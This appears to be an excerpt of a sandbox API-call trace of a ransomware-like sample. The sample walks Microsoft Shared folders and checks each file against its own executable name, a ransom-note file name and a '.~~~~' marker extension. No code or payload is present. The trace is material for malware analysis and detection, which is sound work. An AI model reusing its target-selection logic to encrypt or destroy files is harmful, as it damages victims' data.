	[0067.075] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1
	[0067.075] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="Windows") returned -1
	[0067.075] lstrcmpW (lpString1="JPEGIM32.FLT", lpString2="oiikyy.exe") returned -1
	[0067.075] StrStrW (lpFirst="JPEGIM32.FLT", lpSrch=".~~~~") returned 0x0
	[0067.075] lstrcmpW (lpString1="JPEGIM32.FLT", lpString2="Read~ME.txt") returned -1
	[0067.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.075] GetCurrentThreadId () returned 0x618
	[0067.075] RtlWakeConditionVariable () returned 0x365f48
	[0067.075] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1
	[0067.075] lstrcmpiW (lpString1="MS.CGM", lpString2="Windows") returned -1
	[0067.075] lstrcmpW (lpString1="MS.CGM", lpString2="oiikyy.exe") returned -1
	[0067.075] StrStrW (lpFirst="MS.CGM", lpSrch=".~~~~") returned 0x0
	[0067.075] lstrcmpW (lpString1="MS.CGM", lpString2="Read~ME.txt") returned -1
	[0067.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.075] GetCurrentThreadId () returned 0x618
	[0067.076] RtlWakeConditionVariable () returned 0x365f48
	[0067.076] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1
	[0067.076] lstrcmpiW (lpString1="MS.EPS", lpString2="Windows") returned -1
	[0067.076] lstrcmpW (lpString1="MS.EPS", lpString2="oiikyy.exe") returned -1
	[0067.076] StrStrW (lpFirst="MS.EPS", lpSrch=".~~~~") returned 0x0
	[0067.076] lstrcmpW (lpString1="MS.EPS", lpString2="Read~ME.txt") returned -1
	[0067.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.076] GetCurrentThreadId () returned 0x618
	[0067.076] RtlWakeConditionVariable () returned 0x365f48
	[0067.076] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1
	[0067.076] lstrcmpiW (lpString1="MS.GIF", lpString2="Windows") returned -1
	[0067.076] lstrcmpW (lpString1="MS.GIF", lpString2="oiikyy.exe") returned -1
	[0067.076] StrStrW (lpFirst="MS.GIF", lpSrch=".~~~~") returned 0x0
	[0067.076] lstrcmpW (lpString1="MS.GIF", lpString2="Read~ME.txt") returned -1
	[0067.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.076] GetCurrentThreadId () returned 0x618
	[0067.076] RtlWakeConditionVariable () returned 0x365f48
	[0067.076] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1
	[0067.076] lstrcmpiW (lpString1="MS.JPG", lpString2="Windows") returned -1
	[0067.076] lstrcmpW (lpString1="MS.JPG", lpString2="oiikyy.exe") returned -1
	[0067.076] StrStrW (lpFirst="MS.JPG", lpSrch=".~~~~") returned 0x0
	[0067.076] lstrcmpW (lpString1="MS.JPG", lpString2="Read~ME.txt") returned -1
	[0067.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.077] GetCurrentThreadId () returned 0x618
	[0067.077] RtlWakeConditionVariable () returned 0x365f48
	[0067.077] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1
	[0067.077] lstrcmpiW (lpString1="MS.PNG", lpString2="Windows") returned -1
	[0067.077] lstrcmpW (lpString1="MS.PNG", lpString2="oiikyy.exe") returned -1
	[0067.077] StrStrW (lpFirst="MS.PNG", lpSrch=".~~~~") returned 0x0
	[0067.077] lstrcmpW (lpString1="MS.PNG", lpString2="Read~ME.txt") returned -1
	[0067.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.077] GetCurrentThreadId () returned 0x618
	[0067.077] RtlWakeConditionVariable () returned 0x365f48
	[0067.077] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1
	[0067.077] lstrcmpiW (lpString1="MS.WPG", lpString2="Windows") returned -1
	[0067.077] lstrcmpW (lpString1="MS.WPG", lpString2="oiikyy.exe") returned -1
	[0067.077] StrStrW (lpFirst="MS.WPG", lpSrch=".~~~~") returned 0x0
	[0067.077] lstrcmpW (lpString1="MS.WPG", lpString2="Read~ME.txt") returned -1
	[0067.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.077] GetCurrentThreadId () returned 0x618
	[0067.077] RtlWakeConditionVariable () returned 0x365f48
	[0067.077] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1
	[0067.077] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="Windows") returned -1
	[0067.077] lstrcmpW (lpString1="PICTIM32.FLT", lpString2="oiikyy.exe") returned 1
	[0067.077] StrStrW (lpFirst="PICTIM32.FLT", lpSrch=".~~~~") returned 0x0
	[0067.078] lstrcmpW (lpString1="PICTIM32.FLT", lpString2="Read~ME.txt") returned -1
	[0067.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.078] GetCurrentThreadId () returned 0x618
	[0067.078] RtlWakeConditionVariable () returned 0x365f48
	[0067.078] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1
	[0067.078] lstrcmpiW (lpString1="PNG32.FLT", lpString2="Windows") returned -1
	[0067.078] lstrcmpW (lpString1="PNG32.FLT", lpString2="oiikyy.exe") returned 1
	[0067.078] StrStrW (lpFirst="PNG32.FLT", lpSrch=".~~~~") returned 0x0
	[0067.078] lstrcmpW (lpString1="PNG32.FLT", lpString2="Read~ME.txt") returned -1
	[0067.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.078] GetCurrentThreadId () returned 0x618
	[0067.078] RtlWakeConditionVariable () returned 0x365f48
	[0067.078] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1
	[0067.078] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="Windows") returned 1
	[0067.078] lstrcmpW (lpString1="WPGIMP32.FLT", lpString2="oiikyy.exe") returned 1
	[0067.078] StrStrW (lpFirst="WPGIMP32.FLT", lpSrch=".~~~~") returned 0x0
	[0067.078] lstrcmpW (lpString1="WPGIMP32.FLT", lpString2="Read~ME.txt") returned 1
	[0067.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.078] GetCurrentThreadId () returned 0x618
	[0067.078] RtlWakeConditionVariable () returned 0x365f48
	[0067.078] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0
	[0067.078] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0067.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.080] GetCurrentThreadId () returned 0x618
	[0067.080] RtlWakeConditionVariable () returned 0x365f48
	[0067.080] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1
	[0067.080] lstrcmpiW (lpString1="Help", lpString2="Windows") returned -1
	[0067.080] lstrcmpW (lpString1="Help", lpString2=".") returned 1
	[0067.080] lstrcmpW (lpString1="Help", lpString2="..") returned 1
	[0067.080] lstrcmpW (lpString1="Help", lpString2="AppData") returned 1
	[0067.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help", lpSrch="AppData") returned 0x0
	[0067.080] lstrlenW (lpString="C:\\Windows") returned 10
	[0067.080] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help", lpString2="C:\\Windows") returned -1
	[0067.080] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0067.080] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help", lpString2="C:\\System Volume Information") returned -1
	[0067.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0067.080] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0067.081] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0067.081] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0067.081] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0067.081] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0067.081] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0067.081] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.081] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0067.081] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0067.081] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0067.081] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0067.081] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0067.081] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0067.081] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1
	[0067.081] lstrcmpiW (lpString1="hxds.dll", lpString2="Windows") returned -1
	[0067.081] lstrcmpW (lpString1="hxds.dll", lpString2="oiikyy.exe") returned -1
	[0067.081] StrStrW (lpFirst="hxds.dll", lpSrch=".~~~~") returned 0x0
	[0067.081] lstrcmpW (lpString1="hxds.dll", lpString2="Read~ME.txt") returned -1
	[0067.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.081] GetCurrentThreadId () returned 0x618
	[0067.081] RtlWakeConditionVariable () returned 0x365f48
	[0067.081] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1
	[0067.082] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="Windows") returned -1
	[0067.082] lstrcmpW (lpString1="ITIRCL55.DLL", lpString2="oiikyy.exe") returned -1
	[0067.082] StrStrW (lpFirst="ITIRCL55.DLL", lpSrch=".~~~~") returned 0x0
	[0067.082] lstrcmpW (lpString1="ITIRCL55.DLL", lpString2="Read~ME.txt") returned -1
	[0067.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.082] GetCurrentThreadId () returned 0x618
	[0067.082] RtlWakeConditionVariable () returned 0x365f48
	[0067.082] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1
	[0067.082] lstrcmpiW (lpString1="msitss55.dll", lpString2="Windows") returned -1
	[0067.082] lstrcmpW (lpString1="msitss55.dll", lpString2="oiikyy.exe") returned -1
	[0067.082] StrStrW (lpFirst="msitss55.dll", lpSrch=".~~~~") returned 0x0
	[0067.082] lstrcmpW (lpString1="msitss55.dll", lpString2="Read~ME.txt") returned -1
	[0067.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.082] GetCurrentThreadId () returned 0x618
	[0067.082] RtlWakeConditionVariable () returned 0x365f48
	[0067.082] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0
	[0067.082] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0067.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.082] GetCurrentThreadId () returned 0x618
	[0067.082] RtlWakeConditionVariable () returned 0x365f48
	[0067.083] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1
	[0067.083] lstrcmpiW (lpString1="ink", lpString2="Windows") returned -1
	[0067.083] lstrcmpW (lpString1="ink", lpString2=".") returned 1
	[0067.083] lstrcmpW (lpString1="ink", lpString2="..") returned 1
	[0067.083] lstrcmpW (lpString1="ink", lpString2="AppData") returned 1
	[0067.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink", lpSrch="AppData") returned 0x0
	[0067.083] lstrlenW (lpString="C:\\Windows") returned 10
	[0067.083] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink", lpString2="C:\\Windows") returned -1
	[0067.083] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0067.083] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink", lpString2="C:\\System Volume Information") returned -1
	[0067.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0067.083] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0067.083] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0067.083] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0067.083] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0067.083] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0067.083] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0067.083] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.084] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0067.084] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0067.084] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0067.084] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0067.084] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0067.084] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0067.084] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1
	[0067.084] lstrcmpiW (lpString1="Alphabet.xml", lpString2="Windows") returned -1
	[0067.084] lstrcmpW (lpString1="Alphabet.xml", lpString2="oiikyy.exe") returned -1
	[0067.084] StrStrW (lpFirst="Alphabet.xml", lpSrch=".~~~~") returned 0x0
	[0067.084] lstrcmpW (lpString1="Alphabet.xml", lpString2="Read~ME.txt") returned -1
	[0067.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.084] GetCurrentThreadId () returned 0x618
	[0067.084] RtlWakeConditionVariable () returned 0x365f48
	[0067.084] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1
	[0067.084] lstrcmpiW (lpString1="ar-SA", lpString2="Windows") returned -1
	[0067.084] lstrcmpW (lpString1="ar-SA", lpString2=".") returned 1
	[0067.084] lstrcmpW (lpString1="ar-SA", lpString2="..") returned 1
	[0067.084] lstrcmpW (lpString1="ar-SA", lpString2="AppData") returned 1
	[0067.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA", lpSrch="AppData") returned 0x0
	[0067.084] lstrlenW (lpString="C:\\Windows") returned 10
	[0067.084] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA", lpString2="C:\\Windows") returned -1
	[0067.084] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0067.084] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA", lpString2="C:\\System Volume Information") returned -1
	[0067.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3b04c8
	[0067.085] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0067.109] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0067.109] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0067.109] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0067.109] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0067.109] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0067.109] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.109] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0067.109] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0067.109] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0067.109] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
